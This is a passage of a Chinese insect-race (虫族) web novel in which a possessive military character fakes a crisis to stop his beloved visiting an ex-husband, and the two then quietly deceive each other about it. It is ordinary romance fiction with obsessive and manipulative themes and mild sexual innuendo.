路西法看着来来往往的虫心下烦躁,拽住了还在往前走的雄虫,把他抱在怀里,准备飞出去。 “啊?”弥斯下意识地抓紧雌虫胸前的衣服,“发生什么了吗?” “虫太多了,不安全。” 等出了医院,弥斯就有点想从雌虫怀里下来了,一直待着像什么话,他又不是小虫崽,怎么能被抱在怀里呢。 路西法把雄虫锢在怀里,“弥斯,别闹。” 弥斯不可置信地抬眸看过去,好会颠倒黑白的雌虫,明明是他突然公主抱他,可恶,竟然说他在胡闹。 不愧是上过帝国排行榜的军雌,哪怕是这个角度,路西法凌冽的面部线条依旧那么完美,弥斯一下子都发不出脾气了。 “路西法,可以把我放下来了。”弥斯小心地拽了拽他胸前的衣服,生怕碰到什么不太方便碰到的东西。 路西法真不想放手,雄虫的身体是那么柔软,身上香香的,用的还是他准备的沐浴露。 偶尔松开一点,雄虫因为害怕,还会主动抱住他,这谁舍得放开。 “贵族雄虫和普通雄虫不太一样,他们很少会单独出来,就像桑因、蒂安和艾瑞斯他们总是在一起一样。” 弥斯的注意力一下子就被转移了,他连连认同,“怪不得,所以是有很多只雄虫来体检吗?那确实很忙了。” “是的,贵族雄虫之间有很多权力纠缠,再加上平日里比较忙碌,所以像体检这种每月固定项目,就成为了他们聚会的一个理由。” “嗯。” “当然了,他们今天过来应该还有一个原因。”路西法故意停在这里,等着雄虫凑过来问他。 弥斯果然像他想的那样,拽紧他的衣服,凑得更近了一些,“什么原因?” “虫皇快过生日了,到时候所有贵族都会去参加虫皇的晚宴。” “这听起来有什么关系吗?” “所有虫都去,大大小小的贵族齐聚一堂,晚宴就会变成一个蝇营狗苟的名利场,所以他们需要提前和盟友沟通一下手头的资源还有情报。” 弥斯似懂非懂地点点头,“听起来和我没有关系。” 路西法也带着虫走到了飞行器旁边,小心翼翼地把虫放下来,“嗯。” 回家的路上,弥斯突然想起来一件事,“路西法,你说的这个晚宴,不会是前几天桑因邀请我去的那个吧。” “没有意外的话,是的,小弥斯。” 路西法挑挑眉,嘴角扯出了一抹笑意,还以为要等很久雄虫才能想起来呢。 “啊——” “好不想去啊,虫那么多,应该不会有虫和我说话吧,我什么都没有!” 弥斯瘫倒在飞行器上,这种晚宴他以前参加过几次,留下的印象都不好。 巴尔福会带着他去见很多只虫,虽然他一个名字也没记住,但肯定都是一些贵族虫,这次应该也能碰到,好倒霉啊。 “可以不去吗?” 弥斯眼神空洞地盯着飞行器的顶部,好烦啊。 “不想去就不去。” 路西法觉得雄虫挺好玩的,像一只还没断奶的小虫崽。他回想了一下雄虫腰部的触感,啧,真想把虫就这样摁在座椅上……坐上去。 “路西法?” “嗯,怎么了?” “你怎么不理我啊?” 弥斯已经说了好几句了,没有得到什么回应,他这才坐起身,有些困惑路西法为什么不理他。 “没有不理你,我在想好像没有必须要去的理由,可以不去的。” 正好,雄虫不去的话,就不会见到那只虫,两只虫就不会死灰复燃。 弥斯有多在乎那只虫,路西法深有体会,不想再体验了。 “我要去的,”弥斯又躺下了,“我和桑因都约好了,不能言而无信。” “嗯,小弥斯果然信守承诺,真是一只优雅的雄虫。” 这句话无疑夸在了弥斯的点上,他开心地笑了两下,然后假装不经意地说:“没有吧,所有虫都会这样做的。” 然后又眼巴巴地盯着路西法的驾驶位,真的太好懂了,路西法宠溺地笑了笑。 “别的雄虫如果不是为了权力和星币肯定不会去的,像弥斯阁下这样,仅靠着强大的意志力就愿意前去的,帝国还是很少的。” 路西法也不完全是在哄他,帝国的雄虫最喜欢的就是权利和星币,其次是美色,像弥斯这样什么都不求的,真的很少了。 路西法简直是他的灵魂缪斯,真是太懂他了,夸得弥斯都有些不好意思了,真是的,像骗虫蛋一样。 弥斯从主卧走到客厅,又从客厅走到主卧……路西法还没走。 他又转悠了几圈,路西法还是没走。 “你不回家吗,路西法?” 雌虫就那么大马金刀的一坐,看起来颇为闲适。 弥斯本来以为路西法只是在这歇歇脚,一会儿就离开了,没想到这都快到了吃晚饭的时间了,雌虫还没走。 “嗯?我什么时候说过要走。” 路西法面不改色:“况且,你根本照顾不好自己,我不放心。” 雌虫说得太诚恳了,完全为他考虑的模样,弥斯一时都有些找不到理由拒绝他的一番好意。 只能干巴巴的解释,“我可以照顾好自己。” “哦?”路西法站起身,“那可能是我记错了,忘了是哪只雄虫天天晕倒。” 接了一杯水递给他,“喝点温水。” “哦。”弥斯乖乖接过,低头喝了两口,有些心虚地说:“哪有天天。” “好吧,那我去做饭了。” 不就是同居吗,都是虫,两只眼睛一个鼻子,不碍事的。 路西法敲了敲他的脑袋,“不用你做饭,怕火做什么饭。” 目送雌虫进了半开放式的厨房,弥斯这才注意到,不知道什么时候,路西法把菜都买好了,客厅的柜子里也装了一些零食。 路西法真的好人夫哦…… 但为什么说他怕火呢?弥斯自己都不知道他怕火。 【六六,我怕火吗?】 小六:【怕吗?哈,哈,真是看不出来呢,宿主】 【路西法刚刚说我怕火】 小六:【路西法殿下可能只是不想让宿主做饭】 【这样吗?】 小六:【006觉得是这样】 弥斯不问了,打开了电视,最近新上线了一部电影,等他找出来,一会儿吃饭的时候,和路西法一起看。 006给自己点了个好评,嘻嘻,太机智了,路西法殿下也真是的,看破不说破,消除记忆很费积分的,好不好。 等路西法把饭端出来,两只虫边吃边看,享受虫生的时候,雄虫手腕上的光脑闪了一下。 路西法注意到了,心中也隐约有了猜测,但他没有提醒着沉浸式看电影的雄虫。 等一等吧,在他找到合适的理由不让雄虫去之前,路西法并不希望弥斯看到这个消息。 那只废物虫真的太没用了,不过是承受了和雄虫差不多的冲击,竟然还住院了,果真是没用。 路西法出征回来之后,听雄虫说起过他的飞行器出过严重事故,那可是他亲自改装的军事级飞行器,竟然都撞坏了。 呵呵,他根本不信那是一场简单的事故。或者说,路西法根本不在乎是不是事故,他要让伤害雄虫的虫付出应有的代价。 所以,他当天就派虫去调查,虽说有虫在中间搅浑水,但功夫不负有心虫,还是被他查得清清楚楚。 那只废物虫在工作的时候,超速、违规,撞到了弥斯。 他可不像弥斯那般善良,轻易就原谅了那只虫。路西法身为一只优秀的帝国中将,睚眦必报是他最不起眼的优点之一。 路西法不可能这么简单的放过他,单单撞击也无法让他感受到雄虫的危险,所以,他对那只废物虫的飞行器动了一点点手脚。 真是废物,那种程度的撞击都能进医院,怪不得不论罗斯蒂亚给了他多少机会,还是停在了少将军衔。 可,就是那么一只废物虫得到了雄虫的偏爱! 路西法的脸色在黑暗中变了又变,那又怎么样,雄虫已经和他离婚了,现在陪在弥斯身边的是他。 路西法低头看了一眼因为害怕紧紧拽住他手腕的雄虫,金眸里闪过一抹毫无遮掩的阴狠,雄虫只能是他的,至于那只废物虫,早晚要除掉他。 等一等,等到雄虫没那么在乎那只“救命恩虫”。 路西法在弥斯这里,永远有十足的耐心。 \第26章 第 26 章 半虫化 临睡前, 弥斯还没从电影中的剧情中走出来,前线的军雌真的太危险了,他看的时候把电影的主角代入了路西法,完全不能接受他如烟花般炸开。 “好了, 别哭了, 就那种程度的炸弹, 直接炸我身上我都能活着回来,更别提我还会跑了。” 路西法坐在床头, 温柔地擦拭着雄虫脸上的泪水, 真可怜,想艹。 弥斯嘴硬地反驳, “我没哭。” 他身为一只顶天立地的大雄虫, 才不会看个电影就哭了, 那也太丢虫了。 路西法不动声色地拆下雄虫的光脑, “好的, 弥斯没哭, 快睡吧。” 弥斯听出了雌虫语气里的敷衍, 但他没有再解释了,冤枉一只钢铁雄虫不需要任何理由,他宰相肚里能撑船,不和路西法一般见识。 感受到手腕上的热度, 弥斯有些不解地抬眸看向雌虫, “路西法, 你解我的光脑做什么?” 路西法的身形僵了一下, 然后就镇定自若地解释,“带着光脑睡觉对身体不好。” 现在赫克斯骗雄虫都不需要找理由了吗,弥斯瞪大了双眼。 估计雌虫也觉得找的理由有些牵强, 索性实话实说。 “有虫给你发消息了,我不想让某只虫今晚就看到,弥斯会听话吗?” 路西法的眼神变得十分危险,轻轻抚过雄虫的脸颊,最终停留在他的下巴处,轻轻点了两下。 弥斯拉起被子盖过头部,“路西法,你看起来太吓虫了。” 路西法觉得雄虫的安全意识实在太淡薄了,怎么能放任一只卑劣的雌虫一起住呢,即使这只虫就是他自己,路西法依旧会有些担心。 “这是对你不懂得保护自己的惩罚,小弥斯,快睡吧。” 弥斯在被子里应了一声,“嗯。” 被子里传出来的声音闷闷的,路西法怕雄虫喘不过气,把他从被子里拉出来,低声威胁。 “弥斯,不要对任何一只雌虫降低警惕,就比如现在,房间里只有我和你,如果我想做点什么,你跑都跑不掉。” 弥斯把被子稍稍拉上去一点,只露出了两只黑曜石般的眼睛,颇为无辜地问:“那,路西法,你会伤害我吗?” “永远不会。” “嗯。” “睡吧,小弥斯,我在旁边陪着你。” 虽然雄虫没说,但是电影里的血腥场面估计还是给他留下了不小的阴影,所以才这么乖吗。 弥斯这才安心地闭上眼睛。 昏暗的楼道灯透过没有关紧的门与门框之间的缝隙照进卧室,路西法借着这一点的微光,恰好可以把雄虫的睡容看得一清二楚。 S级军雌的夜视能力很好,他能清晰地看到雄虫微微张开的唇瓣,亦或者略微起伏的被子。 雄虫睡熟了,路西法打开他的光脑,果然是巴尔福发来的消息,嘴脸真是丑恶啊,明明已经没有任何关系了,还是想让弥斯去探望那只废物虫吗。 路西法十分厌恶罗斯蒂亚的虫对雄虫的算计,但他心里清楚,按照弥斯的性格,一定会去探望那只废物虫的。 他要想一个办法阻止雄虫。 …… 弥斯睡得很好,他像往常一样打开光脑,入目的就是已读的巴尔福阁下的消息。 弥斯看到这个消息的时候还有些诧异,他以为路西法会直接删了呢,再不济也要伪装一下查阅过的痕迹吧。 就这么大剌剌的敞开在他面前,生怕他不知道昨晚路西法偷看了他的光脑。 犹豫再三,弥斯还是点开了。 巴尔福:【弥斯,索伦昨晚执行任务的时候受伤了,现在躺在帝国第一中心医院,他的精神海状态十分糟糕,你可以去看看他吗】 弥斯沉默了良久,最终还是简单收拾了一下,准备去探望索伦少将。 小六:【宿主,你真的要去吗?巴尔福肯定是故意告诉你的,而且我们已经和那只虫没有任何关系了】 弥斯正在带胸针,就是那枚狐狸胸针,看到六六的消息,他脸上一如既往的冷淡。 【六六,我没办法对一只军雌见死不救,还是一只在守护帝国虫民安全时受伤的雌虫,我无法做到袖手旁观】 不知道是在安抚六六,还是在说服自己,弥斯有条不紊地准备出门的行头。 更何况,假如路西法删了这条消息,他就可以装作不知道,可惜路西法没有这样做。 弥斯攥紧了那枚胸针,他曾是蓝星上的一个普通人,出于道德层面,他很难对军雌袖手旁观,哪怕……是一只他再也不愿意面对的雌虫。 昨晚路西法突然拿走了他的光脑,弥斯那个时候就隐隐意识到可能是巴尔福或者索伦发来的消息。 毕竟路西法真的很讨厌自己和他们联系,再结合医院里听到的八卦,只需要简单梳理一下就知道发生了什么。 弥斯没有他展现出来的那么高尚,只要路西法把消息删了,他真的会选择假装不知道。 可惜,只有他一只虫这么卑劣。 弥斯甚至能猜到索伦少将的情况并不严重,至少没到了非要他出场才能解决的地步,毕竟巴尔福本身就是一只S级的雄虫。 但他赌不起,如果因为他个虫的自私,让一只军雌丧命的话,弥斯不会原谅自己的。 弥斯清楚地知道,他最大的问题就是,生性卑劣却又不够心狠,所以总是受制于心里道德的压力。 这些虫真的应该感谢他受到的教育,否则,弥斯不敢想象拥有全知视角的他,会利用六六做出什么危害帝星的事情。 小六:【宿主,巴尔福肯定又在骗你,这已经不是第一次了】 【六六,我去了,这才是一个骗局,我不去,雌虫就会成为牺牲品】 弥斯真的十分讨厌虫族利益至上的价值观,哪怕是亲虫的性命,他们也随时可以放弃。 他能说不愧是能征服星海的种族吗。 一虫一统看似聊了很久,耽搁了一点时间,但其实,弥斯手上的动作一直没停,他收拾好之后就走出来房间。 【宿主!路西法这是怎么了】 【扫描中……残留试剂成分……效果:搅乱雌虫精神海】 【警告!警告!试剂为禁品,请勿使用】 弥斯把系统关了,慢腾腾地靠近躺在地上的红发雌虫,看起来是那么狼狈。 可能是因为精神海紊乱,路西法看起来并不算好,不知道他一只虫是怎么操作的,竟然戴上了惩戒雌奴用得颈环和手铐。 弥斯细细打量了一番,看起来是用来禁锢精神力的,而且都是指纹解锁,虽然还没尝试,但他觉得是自己的指纹,也不知道路西法什么时候录入的。 雌虫已经进入了半虫化,背后的黑色羽翼已经展开了一半,手臂上的骨针也隐隐冒了出来。 这是弥斯最厌恶看到的虫样,可这是路西法,一只承诺过永远不会伤害他的雌虫,他心里竟然也没有那么厌烦。 光脑被扔到了一边,整个场面十分的混乱,不难看出,这一切都是路西法的匆匆布下的,充满破绽、目标明确,这是一个为了不让他去看望索伦少将临时起意想出的办法。 真是一只蠢虫,这是最笨的办法,要是他真的十分“喜爱”索伦少将,这时候就会留下雌虫独自面对半虫化的危险,稍有不慎,他就会真正的虫化。 然后死亡。 弥斯把路西法的光脑捡起来打开,果然,印证了他的想法,又是从无聊的星网上学到的方法。 太笨了。 好蠢的虫,竟然为了这么点小事就赌上了性命,这样的雌虫到底是怎么当上中将的,还没有索伦少将聪明。 弥斯伸出手指,擦过雌虫的手臂,坚硬的骨针瞬间扎破了他的指腹。 雄虫皱起眉头,“好痛,”他将手指抵在雌虫厚实的唇瓣上,“路西法,你看看你干的好事。” 雌虫的骨针是有毒的,但是对雄虫的效果十分微弱,只有点助兴的效果。 路西法的神智早就已经完全不清楚了,但可能是听到了熟悉的声音,亦或者雄虫血液中香甜的信息素吸引了他。 雌虫慢慢睁开眼睛,诡异的竖瞳直勾勾地盯着那滴鲜血,然后张嘴把柔软的指腹含在了嘴里。 雌虫的唾液可以治疗骨针和翅膀上的毒,虽然没有意识,但路西法的身体本能地不想让这只虫受伤。 弥斯也不知道这只愚蠢的军雌到底是什么时候做得蠢事,见他突然有了一些反应,“路西法,你还有意识吗?” 说完,雄虫就笑了,都已经半虫化了,他竟然还在怀疑路西法是不是在演戏,真是被骗得多了,连“最好的朋友”都开始怀疑了。 弥斯抽出了手指,也不怪他怀疑,正常情况下,半虫化的雌虫闻到S级雄虫的鲜血,应该做的是饮其血、啖其肉。 应该像高危险度的异兽般凶残地撕扯着雄虫的血肉,而不是像现在这样,轻柔地含着他的手指,就好像舍不得伤害他一样。 弥斯坐在了沙发上,他又盯了雌虫几分钟,就像是在欣赏展览厅里的战甲。 雌虫此时正在撕扯手上的镣铐,手腕被磨得鲜血淋淋,配合着张扬的红发和裸.露出来的古铜色的皮肤,倒还真有点艺术品的模样。 许是看够了,也可能是确定了雌虫真的没有在骗他,弥斯这才大发慈悲地探出他的尾勾。 银白色的尾勾不断伸长,宛若一条阴狠的毒蛇,慢慢缠绕在雌虫的腹部,尾针也在这时扎进了雌虫的心口。 随着浓烈的信息素注入雌虫的身体,一直处在癫狂状态的路西法终于恢复了平静,脑袋一歪晕了过去。 弥斯这才收回自己的尾勾,把虫从地上抱起来。 他尝试了一下用自己的指纹去解路西法的手铐,果然开了,还真是目的明确的一场自虐。 弥斯把虫抱去他自己的房间,然后拿了一块干净的毛巾,一点点擦拭着雌虫手腕上的血迹。 哪怕只解开了手铐,S级雌虫的恢复能力也有点惊虫,手腕上的伤正以肉眼可见的速度结痂。 怪不得半虫化的军雌那么危险,简直就是一只自愈能力强到恐怖的异兽,除非一击毙命,不然真的很难处理他们。 弥斯想了想,这样也好,至少不用想着怎么帮雌虫处理伤口。 雄虫的指节落在了雌虫的颈环上,只要轻轻一点,S级的军雌就失去了控制,虽然弥斯已经注入了大量的信息素,但雌虫依旧有极大的可能会伤害他。 没有任何犹豫,雄虫轻轻一点,颈环开了。 卧室里的空气突然变得十分危险,已经昏迷过去的半虫化军雌毫无挣扎地睁开了眼睛。 金色的眼睛就像是西方传说里的恶龙,他嗅了嗅空气中香甜的气味,锁定目光后,身体紧绷,显然这是准备狩猎的动作。 任何虫都能看出他的危险,弥斯也是。 “骨针收回去,路西法,你会伤到我的。” 清透而熟悉的声音,让雌虫恢复了几分清醒,他抬手看了看手臂上的尖刺,嫌弃地缩了回去,他还记得有虫特别讨厌这些。 为什么讨厌呢,这只虫是谁,他浑浊的脑子想不起来,只知道这件事很重要,比什么都重要。 路西法的听话让弥斯很受用,他讨厌雌虫的半虫化,尖利的骨针会深深刺进血肉,搅起一道道深深的血痕,骨针上的毒素和雄虫的血液搅合在一起,会让空气中充斥着令虫恶心的糜烂。 弥斯讨厌犹如野兽般的交.配.欲.望,讨厌下半身不受控制的野蛮虫,那会让他想干呕。 “真乖,继续治疗吧。” 尾勾听话的再次伸了出来,顺着刚刚的路径径直找到雌虫的心口,再次狠狠扎下。 弥斯弯下身,戳了戳雌虫冷峻的脸颊,看着他的竖瞳慢慢放大,“痛吗?” 雌虫自然无法回应他,但这并不妨碍弥斯的自言自语,“肯定很痛,流了那么多血,看着都痛。” 弥斯从口袋里掏出雌虫送的小白膏,继续帮他擦拭手腕上的伤,“拿你的东西给你疗伤,这算物归原主吗?” 雌虫还在盯着他,诡异的金眸充斥着喋血的残忍,“真吓虫呢。” 弥斯平日里最怕虫展现出非人的竖瞳,可这时,他看着路西法,却并不觉得恐惧,可能是因为至少现在的他真的相信,眼前这只还处在半虫化的雌虫,不会伤害他。 弥斯又看了一会儿,将胸前的狐狸胸针放在了雌虫手上,顺手给他扎了一针镇定剂。 “好好休息一下吧,路西法。” 弥斯回到卧室,清理干净身上的血渍,静悄悄地打开房门,离开了。 \第27章 第 27 章 快来惩罚我吧 帝国第一中心医院, 一只黑发雄虫慢悠悠地走进来,阳光下,苍白的肌肤配上冷淡至极的脸,生生增添了几分神秘。 弥斯根据巴尔福提供的病房号, 很轻松地就找到了索伦少将所在的病房。 这次, 他没有敲门, 直接推门进去了,果然, 如他所料想的一样, 索伦少将并无大碍,只不过他没想到会这么好。 “日安, 少将。” 雄虫的语气颇为平淡, 脸上也没什么多余的表情, 索伦一时还真看不清他在想些什么。 “日安, ……弥斯。” 三年来的相处, 索伦甚至不能适应称呼上的改变, 当“雄主”一词只能出现在心里, 而不能唤之于口时,他才惊觉自己和雄虫竟然真的已经毫无干系了。 “或许,你该尊称我一声冕下,索伦少将。” 雄虫的语气没有任何变化, 但索伦硬是从中听出了言语中的疏离, 至少从前, 弥斯永远不会纠正他的称呼。 可索伦还是不愿意相信, 短短几天,弥斯还真能把他忘得一干二净,这根本不可能, 他是十分清楚雄主到底有多心软。 “雄主,我这几天也想了很多,我觉得我们之间或许只是缺乏沟通,就比如我从来不知道你如此在意和别的军雌一起吃饭。” “如果你说出来,我肯定不会继续请求你一起去的,哪怕巴尔福主虫给我施压。” 索伦坐起身,他鲜少仰视雄虫,躺在病床上的视角让他颇为不适。 雌虫果然没有任何改变,哪怕到了现在,仍然在推卸责任,试图将所有的过错都推到弥斯和巴尔福身上,只有他是无辜的。 “索伦少将,我对你很失望。” 弥斯的语气总算有了点起伏,这个发现让索伦十分兴奋,至少这可以说明,他在雄虫心中的份量依旧十分沉重。 “雄主,我并非不关心你,只是我不知道怎么表达我的在意,你知道的,我的……雄父毕竟是那样的一只虫,我不得不做出一些妥协。” 弥斯对于索伦已经十分了解,听他将所有的过错归结在巴尔福身上,也没觉得奇怪,这并不妨碍他此行的目的。 “索伦少将,我今天来不是为了和你说这些无关的琐事。” 脆弱的雄虫缓缓低下头,像是不敢与他对视,索伦只能看到他微微颤动的睫毛。 “雄主,你当真要表现得和我这么生疏吗?” 索伦的语气中隐隐带上了点怒气,他早已习惯雄虫对他的在意和讨好,无法忍受现在的相处模式。 “我已经知道上次我在中心区的事故,另一架飞行器就是你开的,少将。” 雄虫甚至没有掩盖他言语中的受伤,索伦总算慌了,他急忙解释:“我不是故意的,雄主,你相信我。” “你不是一直都知道我作为军雌的工作吗,当时我正在追一伙星盗,不知道他们是怎么混进帝星的中心区,甚至绑架了一只B级雄虫,我在追逐的过程中,不小心碰到了你。” “对不起,雄主,但我真的不是故意的。” 索伦不知道雄主是否会原谅他,但,“而且,雄虫你当时不是说,你没受伤,不愿意追究我们的责任吗,军部的许多虫都知道你的宽容。” 果然,索伦就是这样一只虫,傲慢,从来不觉得他本身有错,而且十分习惯于别虫的妥协,弥斯心中嫌弃。 他本来已经不想去追究巴尔福对他的伤害里,索伦少将到底是否知情,亦或者是否一直在助纣为虐。 是索伦少将一直在逼他,每次都要说一些他不喜欢听的话,做一些他厌恶的事情。 “是的,我来也不是为了追究你的过错,索伦少将,我只是没想到你会隐瞒我,从巴尔福阁下那里得知这个消息的时候,我真的对你很失望。” 索伦心中慌乱,他猛地拽了一下手上的针头,想下床和雄主好好解释一下这件事情。 雄虫似乎是被他的动静吓到了,慌乱地后退了两步,显然是在怕他伤害自己。 他故作镇定地开口,“索伦少将,你还是好好养伤吧,保重,我不会再来看你了。” 说完,雄虫头也不回地离开了,只留下索伦愣在原地,针头被强硬地拔出来,扎破了手上的血管,可他已经无暇顾及这些。 主虫为什么要和弥斯说这些,索伦不理解,但这也解释了一些事情。 怪不得雄主明明一直都离不开他,可偏偏在意气用事之后,再也不愿意低头回来找他。 如果仅仅是因为路西法殿下的话,雄主完全没必要做得这般决绝,只要好好和他说,他也不是完全不能接受和另一只虫分享雄主。 不对,有没有可能是路西法那只小三虫告诉雄主的,索伦重新坐回床上,想了几秒,还是觉得不太可能。 当时路西法殿下认不认识雄主尚且不说,他当时在前线根本不可能调查这些事情。 至于路西法殿下之后会不会特意去查这起事故完全不在索伦的思考范围之内,毕竟,弥斯又没有受伤,谁会在意那么小的事情。 雄主现在有些怕他,这很正常,雄虫向来脆弱,只要他后面好好解释,雄主一定能原谅他的。 重点是,主虫为何突然告知雄主这件事情,难不成是为了那只雌弟。 是了,巴尔福向来更看重那只虫,现在雄主和他闹矛盾,正是那只雌弟趁虚而入的好机会,巴尔福一定会帮他的。 …… 没错,弥斯是在挑拨离间,他一直知道自己不是一个好人。 以前上学的时候,他就做过这样的事情,那些幼稚的霸凌他的同学,也曾因为他的三言两语,起了内讧大打出手。 直到后来,他的成绩越来越好,老师越来越看重他,那些同学再也不敢对他出手,他才放弃了那种卑劣的手段,而喜爱上了学习,这个更有用的手段。 弥斯无法否认自己的卑劣,他就像下水管里的老鼠,在肮脏的臭水中,恶心地活着。 他的道德告诉他挑拨离间是小人行径,可他的心又在诉说着看到那些人内讧时的苏爽。 他对此向来是不齿的,可他还是做了。 弥斯本不愿意去伤害他的救命恩虫,可索伦少将总是在逼他,逼他去回想起那些受过的委屈,那些刻骨的痛楚,他们还想逼着他妥协,他讨厌这样。 所以,他还是来了,明明路西法为了阻止他来,做了那么危险的事,他还是来了。 不该来的,弥斯在心里想着,但很快,他的思绪又被另一件事占领了,不能被路西法知道他来了,他要赶紧回去。 永远不能被路西法知道他的卑劣,不能让他知道,弥斯不断地告诫自己,不然他会失去这只唯一的朋友。 多么可笑啊,两个世界里最喜欢的他的,竟然是路西法。 一只明明尚未看清他的全貌,就愿意付出与生命等重的信任的军雌。 第二个对他好的就是六六,可惜,六六没有生命,它只是一团数据,一团没有感情只有任务的数据。 弥斯回到家看到雌虫还在昏睡,这让他心里稍微放心了一些。 “路西法……”他轻轻地唤了一声,床上的虫没有任何反应。 弥斯有点怀疑雌虫是不是在装睡,毕竟哪怕是半虫化时的路西法也不像现在这样一点儿反应都没有,难不成是因为那针镇定剂? 转身走出房间,雌虫这也算大病一场,在他醒过来之前,还是要准备一些吃得才行。 走到客厅的时候,弥斯注意到沙发的位置和他出门前有了一点变化,他不动声色地将沙发恢复原状。 路西法,还是醒了吗? 雌虫在装睡,啧,为什么要装呢,提前醒了也不是什么大事,完全是多此一举的行为。 突然想到了什么,弥斯摸了一下衣服上的袖口,感受到某处不同寻常的突起。 哦,原来是听到他和索伦少将的谈话了,不知道怎么面对他吗,还是说不愿意相信自己听到的呢。 弥斯面不改色地走进厨房,没必要想这么多,如果路西法不听话,就把他关在家里就好了。 躺在床上的雌虫听不到动静之后,这才缓缓睁开眼睛,路西法盯着头顶的吊顶,有些想不明白。 弥斯是怎么知道那次的事故是那只虫造成的呢,巴尔福不可能告诉他的。 弥斯绝对是有事情瞒着他。 路西法清醒的很快,他对镇定剂这种东西的抗性很强。 几乎是雄虫离开没多久,路西法就从半虫化的状态中清醒过来,他睁开眼的第一件事就是寻找雄虫的身影。 可惜没有看到雄虫,这个发现让他十分难过。 没想到弥斯还是那样在意那只虫,哪怕他们已经离婚了。 路西法当时想的是要把雄虫抓回来,他完全不能接受两只虫的感情死灰复燃。 有那么一刻,他甚至不想再等了。 可弥斯和那只虫说的话让路西法很开心,从他们两只虫的对话里,可以听出弥斯已经没有那么在意那只虫了。 路西法决定不追究雄虫在他半虫化的时候离开的事情了。 好可爱,偷偷跑出门去挑拨离间什么的,真的好可爱。路西法最希望看到的就是,雄虫能学会保护自己。 但为什么不想让他知道呢,肯定是因为他几乎将:不想让弥斯和那只虫见面摆到了明面上。 所以,弥斯是不想让他难过吗? 路西法觉得他清楚了雄虫这么做的理由,而且这个理由让他更高兴了。 …… 弥斯见路西法从楼上走下来,他偷偷观察了一番雌虫的表情,没有任何的异样,真是奇怪。 “弥斯,有什么需要我帮忙的吗?” 路西法左看看右看看,试图找到他能帮忙做得事情,但雄虫好像已经做好了。 “没有,我已经做完了,吃饭吧。” 路西法接过雄虫递来的盘子,深深吸了一口饭菜的香味,这可是雄虫特意为他做得。 一顿饭的时间,弥斯一直在等待雌虫开口,他就不信路西法没什么想说的。 “弥斯,” 果然还是要来了,弥斯已经想好怎么哄骗雌虫了。 “你做得也太好吃了,不过做饭真的太辛苦了,你的手用来做实验就可以了,下次还是我来做吧。” “有什么想吃的,可以提前告诉我,我要是不会做,还可以提前学一下。” 路西法心情很好,既知道了弥斯一点儿也不喜欢那只虫了,又知道雄虫十分在意他的心情,双喜临门,哪怕是像他这么冷硬的军雌,也不由得喜不自胜了。 “哦。” 路西法真是一只奇怪的军雌,弥斯有时候完全看不懂他在想什么。 算了,是他自己不问的,挺好的,省得他还要想怎么骗过路西法,弥斯最讨厌欺骗了。 无论是别虫骗他,还是他骗别虫,都是非常讨厌的行为。 等到了晚上,兴奋一天的路西法总算是想到了一件非常重要的事情,他有些心虚地走进雄虫的房间。 “弥斯,你没有什么想问我的吗?就是那个半虫化的事情。” 弥斯正在看光脑里传来的实验资料,见雌虫敲门进来,配合地放下手里的光脑。 “哦,下次不要那么做了,太危险了。” 路西法有些不可置信地抬起头, “就这吗?” 就这么轻易地就放过他,真的容易催生出一些妄念。 路西法有些得寸进尺地想着,下次要不要给自己注.射.一些催.情的试剂,弥斯肯定不会不管他的。 “哦,对了,确实还有一件事。” 雄虫像是突然想起了什么,从床上下来,直直地往柜子方向走。 果然不会这么轻易地就原谅他,路西法有些得意地想,如果不是他提醒,雄虫肯定会忘记惩罚他。 \第28章 第 28 章 我很快的,你再坚持一下…… 路西法十分期待地盯着雄虫去拿东西的背影, 不知道是鞭子还是刀具呢,亦或者雄虫买了什么与众不同的惩罚工具,真是期待呢。 就应该这样,不能对雌虫太好, 不然肯定会被欺负的, 弥斯就是心地太软, 总是轻易地就原谅了雌虫的过错,所以才会总是被骗。 路西法不希望雄虫太过心善, 在他眼中, 这么优秀的雄虫就应该张扬、跋扈、残忍。 虽然,以雄虫的力气, 哪怕是惩罚他, 也只是换了一种爽法。 弥斯可不知道路西法在想什么。 他从柜子里拿出刚写好放进去的材料, 这是他针对路西法糟糕的精神海状态, 依旧六六提供的辅助资料, 精心制定的治疗计划。 “路西法, 你好好看看这份计划, 以后我们就按照治疗你的精神海。” 说着,雄虫皱起了眉头,这是他第一次遇到这么棘手的情况,路西法的精神海的紊乱程度, 给他的感觉就是随时都能进入虫化状态, 实在是太危险了。 比当年索伦少将的状态还要严重, 六六给出的结论是, 路西法身后应该有非常厉害的医疗团队,不然这种情况早死了。 “你精神海太糟糕了,以后不要随便进入半虫化了。” 弥斯有些责备地说:“你自己都没注意到吗, 真的很危险,下次不要这么笨了。” 路西法真是他见过最蠢的雌虫,连索伦少将都知道,装病这件事最重要的是“装”,只有路西法这只蠢虫,才会把自己真的搞病了。 路西法听完雄虫的训斥,恍恍惚惚地走出房门,雄虫不但没有惩罚他,还关心了他的精神海状态,这真的不会宠坏他吗? 【路西法怎么看起来笨笨的】 小六:【宿主,数据显示,帝国78.31%的雄虫都讨厌精神海状态十分糟糕的雌虫,这意味着雌虫可能随时进入虫化状态,十分危险】 小六:【006推断,路西法殿下应该是怕宿主嫌弃他】 小六现在真的是不遗余力地展示他的用处,宿主在雌虫半虫化那么危险的情况下,直接把它关掉,伤害了006脆弱的核心,它很有用的。 弥斯没有说对也没有说错,小六终究只是数据,无法理解虫和虫之间复杂的情感。 …… 路西法翻来覆去地睡不着,弥斯的尾勾是什么颜色的呢,是不是和雄虫本身一样白,毕竟雄虫确实全身都白。 可惜了,半虫化的他什么都没有看清,真是遗憾呢,也不知道什么时候能再见到。 但他记得自己是在客厅的沙发失去意识的,醒来的时候却是在床上。 是弥斯抱他回来的吗?公寓里没有机器虫,所以肯定是雄虫。 被雄虫抱在怀里是什么感觉呢,路西法拼尽全力希望能回想起被雄虫拥抱时的触感,可他连雄虫的尾勾长什么样子都记不住…… 路西法想到着,又摸了一下心口,啧,这么快就要好了。 雄虫在他身上留下的痕迹就要消失了,意识到这,雌虫的脸上瞬间变得十分微妙。 路西法从床上坐起来,伸手就要掏自己的心口,他想让这个痕迹在他身上待的久一点。 他知道哪怕他这样做了,以S级雌虫的恢复能力,也会很快就好了,这样的话,既能把痕迹留得久一些,雄虫明天也不会发现。 “咚咚” 门口响起了敲门声,公寓里只有他和弥斯两只虫,门后的那只虫是谁就显而易见了。 路西法有些遗憾地收起了手,去给雄虫开门。 “路西法,睡了吗?” 弥斯问得十分小声,这样如果雌虫睡了的话,也不至于吵醒他。 弥斯突然想起来,他制定的治疗计划,每个晚上都要给路西法一些信息素,而今天的还没给。 